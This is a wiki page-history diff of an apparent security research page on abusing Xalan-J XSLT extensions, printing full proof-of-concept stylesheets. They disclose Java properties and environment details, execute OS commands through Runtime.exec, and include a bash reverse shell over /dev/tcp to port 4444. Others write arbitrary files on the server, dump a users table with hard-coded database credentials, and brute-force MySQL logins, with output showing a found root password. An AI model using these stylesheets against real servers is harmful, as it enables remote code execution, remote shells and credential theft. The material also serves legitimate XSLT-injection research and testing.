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Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 63.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 22:14
Change comment: There is no comment for this version
To version Icon 37.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:27
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -19,12 +19,11 @@
19 19  
20 20  == Special features ==
21 21  
22 -* Java properties disclosure
23 -* Java environment disclosure
24 -* Java code execution
25 -* OS command execution
26 26  * File creation
23 +* Code execution
27 27  * JDBC connectivity
25 +* Java properties disclosure
26 +* Java environment disclosure
28 28  
29 29  == Java properties disclosure ==
30 30  
... ... @@ -33,9 +33,11 @@
33 33  |=Namespace|=Function|=PoC|=Sample output
34 34  |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
35 35  
35 +
36 +
36 36  == Java environment disclosure ==
37 37  
38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
39 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...).
39 39  
40 40  |=Namespace|=Extension function|=PoC|=Sample output
41 41  |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
... ... @@ -44,46 +44,25 @@
44 44  
45 45  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
46 46  
48 +
47 47  |=Namespace|=Extension function|=PoC|=Sample output
48 48  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
49 49  Wed Jan 11 22:45:07 CET 2012
50 50  
51 -== OS command execution ==
53 +== Execution of external commands ==
52 52  
53 -Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
55 +The following code will execute the command "touch /tmp/hello" :
54 54  
55 -|=Namespace|=Extension functions|=PoC
56 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 -
58 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 -
60 -== File creation ==
61 -
62 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 -
64 -|=Namespace|=Extension element|=Parameter|=PoC
65 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]
66 -
67 -== JDBC connectivity ==
68 -
69 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver.
70 -
71 -=== Simple connection ===
72 -
73 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result.
74 -
75 -|=Namespace|=Extension function|=PoC
76 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]]
77 -
78 -=== Credentials brute-forcing ===
79 -
80 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-).
81 -
82 -
83 -Here's the output when launched from the CLI :
84 -
85 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null
86 -Username : [root] / Password : [] :
87 -Username : [root] / Password : [uberpasswd] :
88 -Username : [root] / Password : [cnam] : OK !!
89 -Username : [pma] / Password : [pma] : ##
57 +<?xml version="1.0"?>
58 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
59 + xmlns:j="http:~/~/xml.apache.org/xalan/java"
60 + exclude-result-prefixes="j"
61 + version="1.0">
62 + <xsl:template match="/">
63 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
64 + <xsl:variable name="a" select="j:split($c, ' = ')"/>
65 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
66 + <xsl:variable name="p" select="j:exec($r, $a )"/>
67 + No content at the moment ...
68 + </xsl:template>
69 +</xsl:stylesheet>
Icon xalanj-java-date.xsl
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -409 bytes
Content
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1 -<xsl:stylesheet version="1.0"
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 - exclude-result-prefixes="date">
5 - <xsl:output method="text"/>
6 - <xsl:template match="/">
7 - <xsl:variable name="dateObject" select="date:new()"/>
8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 - </xsl:template>
10 -</xsl:stylesheet>
11 -
Icon xalanj-jdbc-bruteforce.xml
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -775 bytes
Content
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1 -<data>
2 - <foobar>
3 - <DBINFO>
4 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
5 - <dburl>jdbc:mysql://localhost/</dburl>
6 - <user>root</user>
7 - <password></password>
8 - </DBINFO>
9 - </foobar>
10 - <foobar>
11 - <DBINFO>
12 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
13 - <dburl>jdbc:mysql://localhost/</dburl>
14 - <user>root</user>
15 - <password>uberpasswd</password>
16 - </DBINFO>
17 - </foobar>
18 - <foobar>
19 - <DBINFO>
20 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
21 - <dburl>jdbc:mysql://localhost/</dburl>
22 - <user>root</user>
23 - <password>cnam</password>
24 - </DBINFO>
25 - </foobar>
26 - <foobar>
27 - <DBINFO>
28 - <dbdriver>com.mysql.jdbc.Driver</dbdriver>
29 - <dburl>jdbc:mysql://localhost/</dburl>
30 - <user>pma</user>
31 - <password>pma</password>
32 - </DBINFO>
33 - </foobar>
34 -</data>
35 -
Icon xalanj-jdbc-bruteforce.xsl
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -979 bytes
Content
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1 -<?xml version="1.0"?>
2 -
3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
4 - version="1.0"
5 - xmlns:sql="org.apache.xalan.lib.sql.XConnection"
6 - extension-element-prefixes="sql">
7 -
8 -<xsl:output method="text" indent="yes"/>
9 -<xsl:variable name="query">SELECT "OK !!"</xsl:variable>
10 -
11 -<xsl:template match="//data">
12 - <xsl:for-each select="foobar">
13 -
14 - <xsl:variable name="cinfo" select="DBINFO"/>
15 - <xsl:variable name="user" select="DBINFO/user/text()"/>
16 - <xsl:variable name="passwd" select="DBINFO/password/text()"/>
17 -
18 - <xsl:variable name="db" select="sql:new($cinfo)"/>
19 - <xsl:variable name="data" select='sql:query($db, $query)'/>
20 -
21 - <xsl:copy-of select="concat('Username : [', $user, '] / ')" />
22 - <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" />
23 - <xsl:copy-of select="$data" /><xsl:copy-of select="'&#x0A;'" />
24 -
25 - </xsl:for-each>
26 -</xsl:template>
27 -
28 -</xsl:stylesheet>
29 -
Icon xalanj-jdbc-query.xsl
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -848 bytes
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection"
3 - extension-element-prefixes="sql"
4 - version="1.0">
5 -
6 -<xsl:output method="xml" indent="yes"/>
7 -
8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/>
9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/>
10 -<xsl:param name="user" select="'root'"/>
11 -<xsl:param name="pass" select="'14m31337'"/>
12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/>
13 -
14 -<xsl:template match="/">
15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/>
16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/>
17 - <xsl:copy-of select="$table" />
18 - <xsl:value-of select="sql:close($db)"/>
19 -</xsl:template>
20 -
21 -</xsl:stylesheet>
22 -
Icon xalanj-reverse-bash.xsl
Author
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1 -xwiki:XWiki.NicolasGregoire
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1 -1002 bytes
Content
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1 -<xsl:stylesheet
2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 - xmlns:jv="http://xml.apache.org/xalan/java"
4 - exclude-result-prefixes="jv"
5 - version="1.0">
6 -
7 - <xsl:template match="/">
8 -
9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 -
14 -Objet "String" :
15 - <xsl:value-of select="$test"/>
16 -
17 -Objet "Array" :
18 - <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 - <xsl:value-of select="$aAsString"/>
20 -
21 -Objet "Runtime" :
22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 - <xsl:value-of select="$rtobjectAsString"/>
24 -
25 -Objet "Process" :
26 - <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 - <xsl:value-of select="$processAsString"/>
28 -
29 - </xsl:template>
30 -</xsl:stylesheet>
31 -
Icon xalanj-write.xsl
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1 -xwiki:XWiki.NicolasGregoire
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1 -373 bytes
Content
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1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 - xmlns:redir="http://xml.apache.org/xalan/redirect"
3 - extension-element-prefixes="redir"
4 - version='1.0'>
5 -
6 - <xsl:template match="/">
7 - <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 - <xsl:text>Just a PoC</xsl:text>
9 - </redir:write>
10 - </xsl:template>
11 -
12 -</xsl:stylesheet>
13 -